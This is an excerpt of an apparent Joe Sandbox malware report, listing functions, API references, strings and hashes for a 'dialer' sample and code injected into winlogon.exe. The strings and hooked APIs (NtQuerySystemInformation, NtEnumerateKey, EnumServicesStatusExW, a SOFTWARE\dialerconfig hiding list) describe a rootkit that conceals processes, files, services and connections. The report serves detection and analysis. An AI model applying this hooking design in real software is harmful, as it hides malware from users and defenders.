WriteFile.KERNEL32 ref: 0000000140002AF3
WriteFile.KERNEL32 ref: 0000000140002B16
CloseHandle.KERNEL32 ref: 0000000140002B1F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 0000000140002AA8

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction ID: c657f3a7a6ba8077c0f3fca19c98ae9a251d12aa6ce49f65425284bb78429f7a
Opcode Fuzzy Hash: 883fb3da148993cb75da2269ecc4fc0d73b62e41bf5aa7103fd26e0bcaccd1b9
Instruction Fuzzy Hash: AE1139B6720B5082EB16CF16F818399A764F78DFE4F544215AB6907BA4CF78C549CB40

Function 0000000140001914 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001924
GetProcAddress.KERNEL32(?,?,00000000,0000000140002138), ref: 0000000140001937

Strings

ntdll.dll, xrefs: 000000014000191A

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction ID: 7108e587e86fbdef38877cdd133235ae9a077454219746bc209a409130a8dfa8
Opcode Fuzzy Hash: 91777f2b0607ee1fe6466092eca8f752b6e1633f4feaae27b681225476bf4cba
Instruction Fuzzy Hash: 5BD0C9F471260582EE1BDBA378643E552996B5CBC5F884020AE164B360DA38C1998600

Analysis Process: winlogon.exePID: 564, Parent PID: 1276COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	94.4%
Signature Coverage:	0%
Total number of Nodes:	107
Total number of Limit Nodes:	16

Executed Functions

Function 000001E858981628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981633
HeapAlloc.KERNEL32 ref: 000001E858981642

Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E85898126E
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E85898127D
Part of subcall function 000001E858981268: GetProcessHeap.KERNEL32 ref: 000001E858981297
Part of subcall function 000001E858981268: HeapAlloc.KERNEL32 ref: 000001E8589812A8

RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
RegCloseKey.ADVAPI32 ref: 000001E8589816F9
RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
RegCloseKey.ADVAPI32 ref: 000001E858981734
RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
RegCloseKey.ADVAPI32 ref: 000001E85898176F
RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
RegCloseKey.ADVAPI32 ref: 000001E8589817AA
RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA
RegCloseKey.ADVAPI32 ref: 000001E8589817E5
RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
RegCloseKey.ADVAPI32 ref: 000001E858981820
RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
RegCloseKey.ADVAPI32 ref: 000001E85898185B
RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
RegCloseKey.ADVAPI32 ref: 000001E858981896
RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Part of subcall function 000001E8589812BC: RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E858981327
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E858981338
Part of subcall function 000001E8589812BC: RegEnumValueW.ADVAPI32 ref: 000001E858981397
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E8589813DF
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E8589813ED
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898140A
Part of subcall function 000001E8589812BC: HeapFree.KERNEL32 ref: 000001E858981418
Part of subcall function 000001E8589812BC: lstrlenW.KERNEL32 ref: 000001E858981421
Part of subcall function 000001E8589812BC: GetProcessHeap.KERNEL32 ref: 000001E85898142F
Part of subcall function 000001E8589812BC: HeapAlloc.KERNEL32 ref: 000001E85898143D

Strings

process_names, xrefs: 000001E85898174D
udp, xrefs: 000001E858981874
pid, xrefs: 000001E858981712
SOFTWARE\dialerconfig, xrefs: 000001E858981692
startup, xrefs: 000001E8589816D5
tcp_local, xrefs: 000001E8589817FE
paths, xrefs: 000001E858981788
service_names, xrefs: 000001E8589817C3
tcp_remote, xrefs: 000001E858981839

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 21d86d412d1650ae27b0043b2d401094e46d8c624b6cd0b43ec9435d42789ffa
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 2D710A36321A91C6EB10AF66E8916EDB3A5FF84B98F401132DE4E57B69EF38C454C740

Function 000001E858983790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000001E85898379E
GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
GetCurrentProcess.KERNEL32 ref: 000001E858983809
VirtualProtectEx.KERNEL32 ref: 000001E85898382A

Strings

wr, xrefs: 000001E8589837FF

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d234e4461be7ce666b4697da3425b0a366aa51e2e4cc7be98c343ce9cae75724
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 05115B36724BC1C2EF159B22E4086ADB2A1FB88B85F44003ADE8E07794EF3DC505CB04

Function 000001E858985B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B
GetThreadContext.KERNEL32 ref: 000001E858985CD5

Part of subcall function 000001E858985960: GetCurrentThreadId.KERNEL32 ref: 000001E858985964

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction ID: a4617b46cd32b3a0414ab7f2d2c5e1ab313b6a71b2cba704dad36ec99b28e09a
Opcode Fuzzy Hash: 1583aff86c60747e20c7fd7e292354d5b69db1aa669fd640e36c9be7a05cd15b
Instruction Fuzzy Hash: 9DD17776214B89C6DB709B56E49439EB7A0FB88B84F500126EE8D47BA9DF3CC545CF40

Function 000001E8589850D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000001E858985156

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction ID: fa7807662b3792369c97fc6f37bebb2b001074cd7c6065ce50333d33d1213250
Opcode Fuzzy Hash: 6db5c12ccb82f3d6f97d4eb5dd3bfd24aa6d026fde54f3ba11af0dc7faceaf78
Instruction Fuzzy Hash: 11029436229BC5C6EB60CB59E49079EB7A1F785794F104026EA8E87BA9DF7CC454CF00

Function 000001E8589839E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000001E858983A66
VirtualAlloc.KERNEL32 ref: 000001E858983AA0

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: 5ad133b89d074dd97bec0c1f73fb02c24c1f243091b434175b3c7d6c02ead25a
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: E531EC32239AC5C1EA70DA15E85539EF6A4FB88784F500536EACE46BA8DF7DC5809F04

Function 000001E85898328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000001E8589832AE
PathFindFileNameW.SHLWAPI ref: 000001E8589832BD

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

Part of subcall function 000001E858983790: GetModuleHandleW.KERNEL32 ref: 000001E85898379E
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E8589837CC
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E8589837EE
Part of subcall function 000001E858983790: GetCurrentProcess.KERNEL32 ref: 000001E858983809
Part of subcall function 000001E858983790: VirtualProtectEx.KERNEL32 ref: 000001E85898382A

CreateThread.KERNEL32 ref: 000001E85898330B

Part of subcall function 000001E858981D14: GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 9367effade6da1e612e9811c82477e14b03a08a888ac1948d4cbee7ffa7af72d
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: F41152716346C2C2FB60AB62F8493DDF294BF54385F90413FAD4E82995EF7CC0849A10

Function 000001E858984DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000001E858984DF4
VirtualProtect.KERNEL32 ref: 000001E858984E37
FlushInstructionCache.KERNEL32 ref: 000001E858984E4C

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction ID: 5a9e8cf37d9f90f00b28642c3c3ed99c7679eb8f6b8d0d5ae9ec7e4d6c0d13b2
Opcode Fuzzy Hash: b4082a11bd8fc7a0e50fa8074e04b9b5eee935061857b93c3988384488003b51
Instruction Fuzzy Hash: DFF01D76228B85C1D630DB51E44038EBBA0FB887D4F140122BE8D43B69CE3CC5808F00

Function 000001E85895273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589527DB
LoadLibraryA.KERNELBASE ref: 000001E85895285E

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 664efa2306450b3d651c980b7901db96b5cccce9d6076fff7dea8f6b8d110b4a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 3261CC72B21690C7DA548F95D1207ADF3A2FF54BA5F588132DE5D07788DE38D852C700

Function 000001E858981ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000001E858981628: GetProcessHeap.KERNEL32 ref: 000001E858981633
Part of subcall function 000001E858981628: HeapAlloc.KERNEL32 ref: 000001E858981642
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816B2
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589816DF
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589816F9
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981719
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981734
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981754
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898176F
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898178F
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817AA
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E8589817CA

Sleep.KERNEL32 ref: 000001E858981AD7
SleepEx.KERNELBASE ref: 000001E858981ADD

Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589817E5
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981805
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981820
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E858981840
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E85898185B
Part of subcall function 000001E858981628: RegOpenKeyExW.ADVAPI32 ref: 000001E85898187B
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E858981896
Part of subcall function 000001E858981628: RegCloseKey.ADVAPI32 ref: 000001E8589818A0

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 4bfe8da4bf64d09d75688e0bc86698689cfa1098149370d4ad6d534f2979ed62
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: D7317771231AC2D6EB50BB26DA513FDF3A9AF84BD0F0454339E0D87699FE24C8918A10

Function 000001E8589B273C Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000001E8589B27DB

Memory Dump Source

Source File: 0000001F.00000002.3284708688.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: c921608bc3ed8dae174af04d789195309c5edfcc0c714fa749226a5546365456
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 7161DD32B29690CBEB548F95D1007ADF3A2FB54BA5F588136DE5D07788DE38D852C700

Non-executed Functions

Function 000001E858982B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000001E858982BD0
lstrlenW.KERNEL32 ref: 000001E858982E0A

Part of subcall function 000001E85898199C: OpenProcess.KERNEL32 ref: 000001E8589819C2
Part of subcall function 000001E85898199C: K32GetModuleFileNameExW.KERNEL32 ref: 000001E8589819E0
Part of subcall function 000001E85898199C: PathFindFileNameW.SHLWAPI ref: 000001E8589819EF
Part of subcall function 000001E85898199C: lstrlenW.KERNEL32 ref: 000001E8589819FB
Part of subcall function 000001E85898199C: StrCpyW.SHLWAPI ref: 000001E858981A0E
Part of subcall function 000001E85898199C: CloseHandle.KERNEL32 ref: 000001E858981A1C

GetProcAddress.KERNEL32 ref: 000001E858982BE5

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Part of subcall function 000001E858983844: StrCmpNIW.SHLWAPI ref: 000001E85898385C

StrCmpNIW.SHLWAPI ref: 000001E858982C28
lstrlenW.KERNEL32 ref: 000001E858982D50

Strings

NtQueryObject, xrefs: 000001E858982BDB
ntdll.dll, xrefs: 000001E858982BC9
\Device\Nsi, xrefs: 000001E858982C1B

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: 04a661148b50104311287319c74e3cfe1c909468e327bc71e4abbcab7385a8c3
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: A6B15476220AD2C6EB699FA5D8407EDF3A5FB84B84F445027EE0D57B95EE35C880CB40

Function 000001E858987D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000001E858987DAC
RtlCaptureContext.NTDLL ref: 000001E858987DD9
RtlLookupFunctionEntry.NTDLL ref: 000001E858987DF3
RtlVirtualUnwind.NTDLL ref: 000001E858987E34
IsDebuggerPresent.KERNEL32 ref: 000001E858987E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E858987EA9
UnhandledExceptionFilter.KERNEL32 ref: 000001E858987EB4

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: c25654e1fbf133ad71a07c6f0efe47fc9d8043adbf42997a59493c9db71f9faa
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 41313B76225BC1DAEB609F60E8807EDB365FB84744F44442ADA4E57B99EF38C648CB10

Function 000001E85898D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001E85898D31D
RtlLookupFunctionEntry.NTDLL ref: 000001E85898D335
RtlVirtualUnwind.NTDLL ref: 000001E85898D370
IsDebuggerPresent.KERNEL32 ref: 000001E85898D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001E85898D3BE

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 0fd8bee66b9aa75a719588d4164310d191915e835c40ed0449f42a8a8d7cafff
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: A5313D36224BC1D6EB60DB25E8403EEB3A4FB89754F500126EE9D53B59DF38C555CB00

Function 000001E858987960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001E85898798C
GetCurrentThreadId.KERNEL32 ref: 000001E85898799A
GetCurrentProcessId.KERNEL32 ref: 000001E8589879A6
QueryPerformanceCounter.KERNEL32 ref: 000001E8589879B6

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 34985af1e6a69c2e887ac8394de09c6f631af6656f7e96728bd996360b5e390c
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 7D111C36720F91C9EB109B60E8553AD73A4FB19758F440E32DE6E467A4DF78D1988380

Function 000001E85898DCE0 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction ID: 30bb9f7e9d87a9d9c65bc2380062ff3bad17e1f141d89e57fb0a08f8465aebfb
Opcode Fuzzy Hash: 29975c57d01bdb1e687cc302dc7d7dc5a8663a128fa1f3b93342ad94a271d3ec
Instruction Fuzzy Hash: C551B5327246D1D9FB209B72E8407EEBBA5FB84794F144126EE9D67B95DE38C501CB00

Function 000001E8589636F0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001F.00000002.3284181890.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858950000_winlogon.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction ID: 1e72e37fc9f235eb4f944ff72101e8db7dacc5524e3e801771df4715c73e88ad
Opcode Fuzzy Hash: 06df2142d5dd0183fd0e01b7d5608ecb5bc0210788fa76ce78b9fbce82fbb0aa
Instruction Fuzzy Hash: 1BF0F4716356948EDB988F69E443759B7A1F748384FD0812ADA8EC3A14DB3C8455CF14

Function 000001E8589812BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001E858981319
GetProcessHeap.KERNEL32 ref: 000001E858981327
HeapAlloc.KERNEL32 ref: 000001E858981338
RegEnumValueW.ADVAPI32 ref: 000001E858981397

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

GetProcessHeap.KERNEL32 ref: 000001E8589813DF
HeapAlloc.KERNEL32 ref: 000001E8589813ED
GetProcessHeap.KERNEL32 ref: 000001E85898140A
HeapFree.KERNEL32 ref: 000001E858981418
lstrlenW.KERNEL32 ref: 000001E858981421
GetProcessHeap.KERNEL32 ref: 000001E85898142F
HeapAlloc.KERNEL32 ref: 000001E85898143D
StrCpyW.SHLWAPI ref: 000001E85898145F
GetProcessHeap.KERNEL32 ref: 000001E858981476
HeapFree.KERNEL32 ref: 000001E858981484

Strings

d, xrefs: 000001E85898135A

Memory Dump Source

Source File: 0000001F.00000002.3284398049.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: c2281e23739868d66036d4294d6c0683aafed4b8ecad6af3162b140505f798a1
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: 4E512B36224BC5C6EB65DF62E54439EB7A2FB89BD9F044126DE4A07768EF38C0458B00

Function 000001E858981D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001E858981D1F

Part of subcall function 000001E858981FD4: GetModuleHandleA.KERNEL32 ref: 000001E858981FEC
Part of subcall function 000001E858981FD4: GetProcAddress.KERNEL32 ref: 000001E858981FFD

Part of subcall function 000001E858985B30: GetCurrentThreadId.KERNEL32 ref: 000001E858985B6B

Strings

NtQueryDirectoryFileEx, xrefs: 000001E858981D9C
sechost.dll, xrefs: 000001E858981E39
NtEnumerateValueKey, xrefs: 000001E858981DD6
NtResumeThread, xrefs: 000001E858981D62
EnumServicesStatusExW, xrefs: 000001E858981E11, 000001E858981E32
advapi32.dll, xrefs: 000001E858981DF7, 000001E858981E18
NtQueryDirectoryFile, xrefs: 000001E858981D7F
ntdll.dll, xrefs: 000001E858981D2D
NtDeviceIoControlFile, xrefs: 000001E858981E56
NtEnumerateKey, xrefs: 000001E858981DB9
EnumServiceGroupW, xrefs: 000001E858981DF0
NtQuerySystemInformation, xrefs: 000001E858981D45

